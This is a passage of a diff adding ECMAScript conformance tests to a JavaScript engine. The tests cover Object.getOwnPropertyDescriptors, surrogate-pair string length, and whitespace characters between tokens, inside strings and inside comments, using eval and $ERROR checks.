+ Object.getOwnPropertyDescriptors should not have its behavior impacted by modifications to Object.getOwnPropertyDescriptor
+esid: pending
+author: Jordan Harband
+---*/
+
+function fakeObjectGetOwnPropertyDescriptor() {
+ $ERROR('The overriden version of Object.getOwnPropertyDescriptor was called!');
+}
+Object.getOwnPropertyDescriptor = fakeObjectGetOwnPropertyDescriptor;
+
+assert.sameValue(
+ Object.getOwnPropertyDescriptor,
+ fakeObjectGetOwnPropertyDescriptor,
+ 'Sanity check failed: could not modify the global Object.getOwnPropertyDescriptor'
+);
+
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors({ a: 1 })).length, 1, 'Expected object with 1 key to have 1 descriptor');
diff --git a/js/src/tests/test262/built-ins/Object/shell.js b/js/src/tests/test262/built-ins/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/shell.js
diff --git a/js/src/tests/test262/built-ins/shell.js b/js/src/tests/test262/built-ins/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/built-ins/shell.js
diff --git a/js/src/tests/test262/ch06/6.1.js b/js/src/tests/test262/ch06/6.1.js
new file mode 100644
index 000000000..f53b105f5
--- /dev/null
+++ b/js/src/tests/test262/ch06/6.1.js
@@ -0,0 +1,21 @@
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// Ecma International makes this code available under the terms and conditions set
+// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+// "Use Terms"). Any redistribution of this code must retain the above
+// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @description Test for handling of supplementary characters
+ */
+
+var chars = "𐒠"; // Single Unicode character at codepoint \u{104A0}
+if(chars.length !== 2) {
+ $ERROR("A character outside the BMP (Unicode CodePoint > 0xFFFF) should consume two code units");
+}
+if(chars.charCodeAt(0) !== 0xD801) {
+ $ERROR("First code unit of surrogate pair for 0x104A0 should be 0xD801");
+}
+
+if(chars.charCodeAt(1) !== 0xDCA0) {
+ $ERROR("Second code unit of surrogate pair for 0x104A0 should be 0xDCA0");
+}
diff --git a/js/src/tests/test262/ch06/browser.js b/js/src/tests/test262/ch06/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch06/browser.js
diff --git a/js/src/tests/test262/ch06/shell.js b/js/src/tests/test262/ch06/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch06/shell.js
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T1.js
new file mode 100644
index 000000000..1c8e5a9ca
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HORIZONTAL TAB (U+0009) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.1_T1.js
+ * @description Insert HORIZONTAL TAB(\u0009 and \t) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u0009var\u0009x\u0009=\u00091\u0009");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u0009var\\u0009x\\u0009=\\u00091\\u0009"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u0009" + "var" + "\u0009" + "x" + "\u0009" + "=" + "\u0009" + "1" + "\u0009");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u0009" + "var" + "\\u0009" + "x" + "\\u0009" + "=" + "\\u0009" + "1" + "\\u0009"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+eval("\tvar\tx\t=\t1\t");
+if (x !== 1) {
+ $ERROR('#3: eval("\\tvar\\tx\\t=\\t1\\t"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+eval("\t" + "var" + "\t" + "x" + "\t" + "=" + "\t" + "1" + "\t");
+if (x !== 1) {
+ $ERROR('#4: eval("\\t" + "var" + "\\t" + "x" + "\\t" + "=" + "\\t" + "1" + "\\t"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+eval("\u0009" + "var" + "\t" + "x" + "\u0009" + "=" + "\t" + "1" + "\u0009");
+if (x !== 1) {
+ $ERROR('#5: eval("\\u0009" + "var" + "\\t" + "x" + "\\u0009" + "=" + "\\t" + "1" + "\\u0009"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T2.js
new file mode 100644
index 000000000..081c60ef3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HORIZONTAL TAB (U+0009) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.1_T2.js
+ * @description Insert real HORIZONTAL TAB between tokens of var x=1
+ */
+
+//CHECK#1
+ var x = 1 ;
+if (x !== 1) {
+ $ERROR('#1: var x = 1 ; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval(" var\tx =\t2 ");
+if (x !== 2) {
+ $ERROR('#2: var\\tx =\\t1 ; x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T1.js
new file mode 100644
index 000000000..19be1c7e2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VERTICAL TAB (U+000B) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.2_T1.js
+ * @description Insert VERTICAL TAB(\u000B and \v) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u000Bvar\u000Bx\u000B=\u000B1\u000B");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u000Bvar\\u000Bx\\u000B=\\u000B1\\u000B"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u000B" + "var" + "\u000B" + "x" + "\u000B" + "=" + "\u000B" + "1" + "\u000B");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u000B" + "var" + "\\u000B" + "x" + "\\u000B" + "=" + "\\u000B" + "1" + "\\u000B"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+eval("\vvar\vx\v=\v1\v");
+if (x !== 1) {
+ $ERROR('#3: eval("\\vvar\\vx\\v=\\v1\\v"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+eval("\v" + "var" + "\v" + "x" + "\v" + "=" + "\v" + "1" + "\v");
+if (x !== 1) {
+ $ERROR('#4: eval("\\v" + "var" + "\\v" + "x" + "\\v" + "=" + "\\v" + "1" + "\\v"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+eval("\u000B" + "var" + "\v" + "x" + "\u000B" + "=" + "\v" + "1" + "\u000B");
+if (x !== 1) {
+ $ERROR('#5: eval("\\u000B" + "var" + "\\v" + "x" + "\\u000B" + "=" + "\\v" + "1" + "\\u000B"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T2.js
new file mode 100644
index 000000000..f5ab425f5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.2_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VERTICAL TAB (U+000B) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.2_T2.js
+ * @description Insert real VERTICAL TAB between tokens of var x=1
+ */
+
+//CHECK#1
+ var x = 1 ;
+if (x !== 1) {
+ $ERROR('#1: var x = 1 ; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval(" var\vx =\v1 ");
+if (x !== 1) {
+ $ERROR('#2: var\\vx =\\v1 ; x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T1.js
new file mode 100644
index 000000000..eb8c2f85c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FORM FEED (U+000C) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.3_T1.js
+ * @description Insert FORM FEED(\u000C and \f) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u000Cvar\u000Cx\u000C=\u000C1\u000C");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u000Cvar\\u000Cx\\u000C=\\u000C1\\u000C"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u000C" + "var" + "\u000C" + "x" + "\u000C" + "=" + "\u000C" + "1" + "\u000C");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u000C" + "var" + "\\u000C" + "x" + "\\u000C" + "=" + "\\u000C" + "1" + "\\u000C"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+eval("\fvar\fx\f=\f1\f");
+if (x !== 1) {
+ $ERROR('#3: eval("\\fvar\\fx\\f=\\f1\\f"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+eval("\f" + "var" + "\f" + "x" + "\f" + "=" + "\f" + "1" + "\f");
+if (x !== 1) {
+ $ERROR('#4: eval("\\f" + "var" + "\\f" + "x" + "\\f" + "=" + "\\f" + "1" + "\\f"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+eval("\u000C" + "var" + "\f" + "x" + "\u000C" + "=" + "\f" + "1" + "\u000C");
+if (x !== 1) {
+ $ERROR('#5: eval("\\u000C" + "var" + "\\f" + "x" + "\\u000C" + "=" + "\\f" + "1" + "\\u000C"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T2.js
new file mode 100644
index 000000000..90fe95742
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.3_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FORM FEED (U+000C) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.3_T2.js
+ * @description Insert real FORM FEED between tokens of var x=1
+ */
+
+//CHECK#1
+ var x = 1 ;
+if (x !== 1) {
+ $ERROR('#1: var x = 1 ; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval(" var\fx =\f1 ");
+if (x !== 1) {
+ $ERROR('#2: var\\fx =\\f1 ; x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T1.js
new file mode 100644
index 000000000..1f10f9166
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * SPACE (U+0020) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.4_T1.js
+ * @description Insert SPACE(\u0020) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u0020var\u0020x\u0020=\u00201\u0020");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u0020var\\u0020x\\u0020=\\u00201\\u0020"); x === 1;');
+}
+
+//CHECK#2
+eval("\u0020" + "var" + "\u0020" + "x" + "\u0020" + "=" + "\u0020" + "1" + "\u0020");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u0020" + "var" + "\\u0020" + "x" + "\\u0020" + "=" + "\\u0020" + "1" + "\\u0020"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T2.js
new file mode 100644
index 000000000..67c9c96c1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.4_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * SPACE (U+0020) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.4_T2.js
+ * @description Insert real SPACE between tokens of var x=1
+ */
+
+//CHECK#1
+eval("\u0020var x\u0020= 1\u0020");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u0020var x\\u0020= 1\\u0020"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+ var x = 1 ;
+if (x !== 1) {
+ $ERROR('#2: var x = 1 ; x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T1.js
new file mode 100644
index 000000000..59339116e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NO-BREAK SPACE (U+00A0) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.5_T1.js
+ * @description Insert NO-BREAK SPACE(\u00A0) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u00A0var\u00A0x\u00A0=\u00A01\u00A0");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u00A0var\\u00A0x\\u00A0=\\u00A01\\u00A0"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u00A0" + "var" + "\u00A0" + "x" + "\u00A0" + "=" + "\u00A0" + "1" + "\u00A0");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u00A0" + "var" + "\\u00A0" + "x" + "\\u00A0" + "=" + "\\u00A0" + "1" + "\\u00A0"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T2.js
new file mode 100644
index 000000000..e4635e697
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A1.5_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NO-BREAK SPACE (U+00A0) between any two tokens is allowed
+ *
+ * @path ch07/7.2/S7.2_A1.5_T2.js
+ * @description Insert real NO-BREAK SPACE between tokens of var x=1
+ */
+
+//CHECK#1
+eval("\u00A0var x\u00A0= 1\u00A0");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u00A0var x\\u00A0= 1\\u00A0"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+ var x = 1 ;
+if (x !== 1) {
+ $ERROR('#2:  var x = 1 ; x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T1.js
new file mode 100644
index 000000000..c7fdaaf3e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HORIZONTAL TAB (U+0009) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.1_T1.js
+ * @description Use HORIZONTAL TAB(\u0009 and \t)
+ */
+
+// CHECK#1
+if (eval("'\u0009str\u0009ing\u0009'") !== "\u0009str\u0009ing\u0009") {
+ $ERROR('#1: eval("\'\\u0009str\\u0009ing\\u0009\'") === "\\u0009str\\u0009ing\\u0009"');
+}
+
+//CHECK#2
+if (eval("'\tstr\ting\t'") !== "\tstr\ting\t") {
+ $ERROR('#2: eval("\'\\tstr\\ting\\t\'") === "\\tstr\\ting\\t"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T2.js
new file mode 100644
index 000000000..7a89875ba
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.1_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HORIZONTAL TAB (U+0009) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.1_T2.js
+ * @description Use real HORIZONTAL TAB
+ */
+
+//CHECK#1
+if (" str ing " !== "\u0009str\u0009ing\u0009") {
+ $ERROR('#1: " str ing " === "\\u0009str\\u0009ing\\u0009"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T1.js
new file mode 100644
index 000000000..69c8de8ff
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VERTICAL TAB (U+000B) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.2_T1.js
+ * @description Use VERTICAL TAB(\u000B and \v)
+ */
+
+// CHECK#1
+if (eval("'\u000Bstr\u000Bing\u000B'") !== "\u000Bstr\u000Bing\u000B") {
+ $ERROR('#1: eval("\'\\u000Bstr\\u000Bing\\u000B\'") === "\\u000Bstr\\u000Bing\\u000B"');
+}
+
+//CHECK#2
+if (eval("'\vstr\ving\v'") !== "\vstr\ving\v") {
+ $ERROR('#2: eval("\'\\vstr\\ving\\v\'") === "\\vstr\\ving\\v"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T2.js
new file mode 100644
index 000000000..f7b415972
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.2_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VERTICAL TAB (U+000B) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.2_T2.js
+ * @description Use real VERTICAL TAB
+ */
+
+//CHECK#1
+if (" str ing " !== "\u000Bstr\u000Bing\u000B") {
+ $ERROR('#1: " str ing " === "\\u000Bstr\\u000Bing\\u000B"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T1.js
new file mode 100644
index 000000000..9b30396fc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FORM FEED (U+000C) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.3_T1.js
+ * @description Use FORM FEED(\u000C and \f)
+ */
+
+// CHECK#1
+if (eval("'\u000Cstr\u000Cing\u000C'") !== "\u000Cstr\u000Cing\u000C") {
+ $ERROR('#1: eval("\'\\u000Cstr\\u000Cing\\u000C\'") === "\\u000Cstr\\u000Cing\\u000C"');
+}
+
+//CHECK#2
+if (eval("'\fstr\fing\f'") !== "\fstr\fing\f") {
+ $ERROR('#2: eval("\'\\fstr\\fing\\f\'") === "\\fstr\\fing\\f"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T2.js
new file mode 100644
index 000000000..a575f8a0d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.3_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FORM FEED (U+000C) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.3_T2.js
+ * @description Use real FORM FEED
+ */
+
+//CHECK#1
+if (" str ing " !== "\u000Cstr\u000Cing\u000C") {
+ $ERROR('#1: " str ing " === "\\u000Cstr\\u000Cing\\u000C"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T1.js
new file mode 100644
index 000000000..4b41932c7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * SPACE (U+0020) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.4_T1.js
+ * @description Use SPACE(\u0020)
+ */
+
+// CHECK#1
+if (eval("'\u0020str\u0020ing\u0020'") !== "\u0020str\u0020ing\u0020") {
+ $ERROR('#1: eval("\'\\u0020str\\u0020ing\\u0020\'") === "\\u0020str\\u0020ing\\u0020"');
+}
+
+//CHECK#2
+if (eval("' str ing '") !== " str ing ") {
+ $ERROR('#2: eval("\' str ing \'") === " str ing "');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T2.js
new file mode 100644
index 000000000..b61d2313d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.4_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * SPACE (U+0020) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.4_T2.js
+ * @description Use real SPACE
+ */
+
+//CHECK#1
+if (" str ing " !== "\u0020str\u0020ing\u0020") {
+ $ERROR('#1: " str ing " === "\\u0020str\\u0020ing\\u0020"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T1.js
new file mode 100644
index 000000000..60fb7f358
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NO-BREAK SPACE (U+00A0) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.5_T1.js
+ * @description Use NO-BREAK SPACE(\u00A0)
+ */
+
+// CHECK#1
+if (eval("'\u00A0str\u00A0ing\u00A0'") !== "\u00A0str\u00A0ing\u00A0") {
+ $ERROR('#1: eval("\'\\u00A0str\\u00A0ing\\u00A0\'") === "\\u00A0str\\u00A0ing\\u00A0"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T2.js
new file mode 100644
index 000000000..0cf26e596
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A2.5_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NO-BREAK SPACE (U+00A0) may occur within strings
+ *
+ * @path ch07/7.2/S7.2_A2.5_T2.js
+ * @description Use real NO-BREAK SPACE
+ */
+
+//CHECK#1
+if (" str ing " !== "\u00A0str\u00A0ing\u00A0") {
+ $ERROR('#1: " str ing " === "\\u00A0str\\u00A0ing\\u00A0"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T1.js
new file mode 100644
index 000000000..c8eae5be2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain HORIZONTAL TAB (U+0009)
+ *
+ * @path ch07/7.2/S7.2_A3.1_T1.js
+ * @description Use HORIZONTAL TAB(\u0009)
+ */
+
+// CHECK#1
+eval("//\u0009 single line \u0009 comment \u0009");
+
+//CHECK#2
+var x = 0;
+eval("//\u0009 single line \u0009 comment \u0009 x = 1;");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("//\\u0009 single line \\u0009 comment \\u0009 x = 1;"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T2.js
new file mode 100644
index 000000000..b5b479240
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.1_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain HORIZONTAL TAB (U+0009)
+ *
+ * @path ch07/7.2/S7.2_A3.1_T2.js
+ * @description Use real HORIZONTAL TAB
+ */
+
+//CHECK#1
+var x = 0;
+// single line comment x = 1;
+if (x !== 0) {
+ $ERROR('#1: var x = 0; // single line comment x = 1; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T1.js
new file mode 100644
index 000000000..435a2493f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain VERTICAL TAB (U+000B)
+ *
+ * @path ch07/7.2/S7.2_A3.2_T1.js
+ * @description Use VERTICAL TAB(\u000B)
+ */
+
+// CHECK#1
+eval("//\u000B single line \u000B comment \u000B");
+
+//CHECK#2
+var x = 0;
+eval("//\u000B single line \u000B comment \u000B x = 1;");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("//\\u000B single line \\u000B comment \\u000B x = 1;"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T2.js
new file mode 100644
index 000000000..cfdd6bc0a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.2_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain VERTICAL TAB (U+000B)
+ *
+ * @path ch07/7.2/S7.2_A3.2_T2.js
+ * @description Use real VERTICAL TAB
+ */
+
+//CHECK#1
+var x = 0;
+// single line comment x = 1;
+if (x !== 0) {
+ $ERROR('#1: var x = 0; // single line comment x = 1; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T1.js
new file mode 100644
index 000000000..260d07073
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain FORM FEED (U+000C)
+ *
+ * @path ch07/7.2/S7.2_A3.3_T1.js
+ * @description Use FORM FEED(\u000C)
+ */
+
+// CHECK#1
+eval("//\u000C single line \u000C comment \u000C");
+
+//CHECK#2
+var x = 0;
+eval("//\u000C single line \u000C comment \u000C x = 1;");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("//\\u000C single line \\u000C comment \\u000C x = 1;"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T2.js
new file mode 100644
index 000000000..f1ce32510
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.3_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain FORM FEED (U+000C)
+ *
+ * @path ch07/7.2/S7.2_A3.3_T2.js
+ * @description Use real FORM FEED
+ */
+
+//CHECK#1
+var x = 0;
+// single line comment x = 1;
+if (x !== 0) {
+ $ERROR('#1: var x = 0; // single line comment x = 1; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T1.js
new file mode 100644
index 000000000..41264606b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain SPACE (U+0020)
+ *
+ * @path ch07/7.2/S7.2_A3.4_T1.js
+ * @description Use SPACE(\u0020)
+ */
+
+// CHECK#1
